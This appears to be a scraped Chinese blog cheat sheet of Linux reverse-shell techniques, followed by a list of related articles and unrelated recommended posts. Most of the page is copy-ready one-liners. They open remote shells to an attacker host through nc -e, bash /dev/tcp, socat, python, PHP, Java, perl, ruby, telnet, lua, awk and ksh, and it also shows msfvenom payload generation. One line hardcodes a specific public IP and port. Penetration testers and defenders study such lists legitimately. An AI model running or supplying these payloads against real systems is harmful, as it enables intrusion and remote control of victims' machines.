linux反弹shell总结
1.1发送文件(公网发内网)
文件发送端:
nc -lp 6666 < 文件
文件接收端:
nc 发送端ip 发送端端口 > 新文件
1.2发送文件(内网发公网)
文件发送端:
nc -lp 6666 > 文件
文件接收端:
nc 发送端ip 发送端端口 < 新文件
2.聊天
发送端:
nc -lp 6666
接收端:
nc 发送端ip 发送端端口
3.1发送shell
发送端(公网服务器):
nc -lvvp 发送端port -e /bin/bash
接收端:
nc 发送端ip 发送端port
3.2反弹shell
接收端:
nc -lvvp 6666
发送端(内网网服务器):
nc 接收端ip 接收端端口 -e /bin/bash
4.bash反弹
接收端(hackip,公网):
nc -lvvp 端口
发送端(受害者):
bash -i >& /dev/tcp/攻击ip/攻击端口 0>&1
发送端(受害者):
0<&31-;exec 31<>/dev/tcp/111.230.170.95/9985;sh <&31 >&31 2>&31
5.1socat反弹(tcp)
接收端(攻击机):
./socat TCP-LISTEN:端口 -
发送端(靶机):
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
5.2socat反弹(udp)
接收端:
nc -lvvp 8080
发送端:
socat udp-connect:攻击者ip:端口 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &
6.python反弹
接收端(攻击机,外网):
nc -lvvp 端口
发送端(靶机):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
7.PHP反弹
接收端:
nc -lvvp 端口
发送端:
php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'
8.JAVA反弹
接收端:
nc -lvvp 端口
发送端:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击者ip/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
9.perl反弹
接收端:
nc -lvvp 端口
发送端:
perl -e 'use Socket;$i="攻击者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
10.ruby反弹
接收端:
nc -lvvp 端口
发送端:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击者ip","端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
11.telnet反弹
接收端:
nc -lvvp 端口
发送端:
mknod backpipe p && telnet 攻击者ip 端口 0<backpipe | /bin/bash 1>backpipe
12.lua反弹(安装lua环境:apt-get install lua*)
接收端:
nc -lvvp 端口
发送端:
lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('攻击者ip',端口);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"
13.awk反弹
接收端:
nc -lvvp 端口
发送端:
awk 'BEGIN{s="/inet/tcp/0/攻击者ip/端口";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'
14.ksh反弹
接收端:
nc -lvvp 端口
发送端:
ksh -c 'ksh >/dev/tcp/攻击者ip/端口 2>&1 <&1'
15.msfvenom生成各种payload
接收端:
nc -lvvp 端口
查找payload:
msfvenom -l payload |grep 'cmd/unix/reverse'
生成payload:
msfvenom -p cmd/unix/reverse_模块 lhost=接收端ip lport=接收端端口 R
linux反弹shell总结的更多相关文章
- Linux 反弹shell(二)反弹shell的本质
Linux 反弹shell(二)反弹shell的本质 from:https://xz.aliyun.com/t/2549 0X00 前言 在上一篇文章 Linux反弹shell(一)文件描述符与重定向 ...
- linux反弹shell
参考链接 http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html http://www.waitalone.cn/linux-s ...
- linux 反弹shell
Linux下反弹shell笔记 0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或 ...
- Linux 反弹 Shell
攻击场景 Attacker:192.168.0.106 win10 Victim:192.168.2.140 kali NC 反弹 shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写 ...
- Linux渗透之反弹Shell
前言 当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的.在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个 ...
- Linux下几种反弹Shell方法的总结与理解
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...
- Windows/Linux 下反弹shell
Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...
- Linux bash反弹shell原理引起的一点思考
最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问 ...
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
随机推荐
- 图解HTTP权威指南(四)| 代理
作者简介 李先生(Lemon),高级运维工程师(自称),SRE专家(目标),梦想在35岁买一辆保时捷.喜欢钻研底层技术,认为底层基础才是王道.一切新技术都离不开操作系统(CPU.内存.磁盘).网络等. ...
- 用隧道协议实现不同dubbo集群间的透明通信
用隧道协议实现不同dubbo集群间的透明通信 前言 笔者最近完成了一个非常有意思的隧道机制(已在产线运行),可以让注册到不同zookeeper之间的dubbo集群之间能够正常进行通信.如下图所示: 例 ...
- Python requirements.txt 语法
前言 之前一直苦于一个问题,比如一些包在Win上安装不了,比如 uvloop 但是为了提高效率,代码中必须有这个模块 在运行中可以通过 os 模块判断是否使用, 那依赖文件呢? requirement ...
- 使用Jenkins+Blue Ocean 持构建自动化部署之安卓源码打包、测试、邮件通知
什么是BlueOcean? BlueOcean重新考虑了Jenkins的用户体验.BlueOcean由Jenkins Pipeline设计,但仍然兼容自由式工作,减少了团队成员的混乱,增加了清晰度. ...
- 【EXPDP/IMPDP】ORACLE数据泵导入导出案例(expdp & impdp)
概要: 因项目需要,通常需要将生产库下的部分数据抽取并恢复到测试库上 本文主要介绍数据泵导入导出的几种情况以及错误处理 案例环境: rhel-server-6.5-x86_64 oracle 11.2 ...
- SDUST数据结构 - chap6 树与二叉树
判断题: 选择题: 函数题: 6-1 求二叉树高度: 裁判测试程序样例: #include <stdio.h> #include <stdlib.h> typedef char ...
- 如何封装Promise对象?
最近看到了一个有趣的Promise的方法,这里记录下来 <script> class MyPromise { constructor(executor) { // 初始化state赋值为p ...
- 自翻------Office 2013 RT 使用说明
Office Home and Student 2013 RT Preview的更新 介绍 Microsoft已发布Microsoft Office Home and Student 2013 RT ...
- Python hashlib的简单使用
hashlib模块针对不同的安全哈希和消息摘要算法实现了一个通用的接口,其中包括SHA1, SHA224, SHA256, SHA384, SHA512算法以及RSA的MD5算法. 使用方法 第一步 ...
- Cisco IOS
IOS Internetwork Operating System 互联网操作系统(基于UNIX系统) Cisco IOS 软件提供多种网络服务进而支持各种网络应用. Cisco IOS用户界面的基本 ...